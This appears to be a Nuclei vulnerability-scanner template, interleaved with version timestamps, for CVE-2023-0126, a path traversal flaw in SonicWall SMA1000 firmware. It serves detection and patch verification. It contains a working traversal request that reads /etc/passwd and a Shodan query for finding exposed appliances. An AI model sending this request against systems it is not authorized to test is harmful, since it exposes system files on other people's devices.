2023-08-18 08:55:46 +02:00
id : CVE-2023-0126
info :
name : SonicWall SMA1000 LFI
author : tess
severity : high
description : |
Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
2023-09-16 17:58:50 +02:00
remediation : |
Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
2023-08-18 08:55:46 +02:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-0126
- https://github.com/advisories/GHSA-mr28-27qx-phg3
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2023-0126
cwe-id : CWE-22
2023-11-01 09:00:03 +01:00
epss-score : 0.05528
epss-percentile : 0.9238
2023-08-18 08:55:46 +02:00
cpe : cpe:2.3:o:sonicwall:sma1000_firmware:12.4.2:*:*:*:*:*:*:*
metadata :
verified : "true"
2023-09-16 17:58:50 +02:00
max-request : 1
2023-08-18 08:55:46 +02:00
vendor : sonicwall
product : sma1000_firmware
2023-09-16 17:58:50 +02:00
shodan-query : title:"Appliance Management Console Login"
2023-08-18 08:55:46 +02:00
tags : cve,cve2023,sonicwall,lfi,sma1000
http :
- method : GET
path :
- '{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd'
matchers-condition : and
matchers :
- type : word
part : header
words :
- content/unknown
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
- 200
2023-11-01 09:00:03 +01:00
# digest: 4a0a0047304502205369a7d8926694c1ca6c1784fab073f232b98cba484aa3dc1e97d8fea37f6d0202210099df02b827bb35407b6309534261f9aa01a35219c7e115d3775132559a7f50b8:922c64590222798bb761d5b6d8e72950
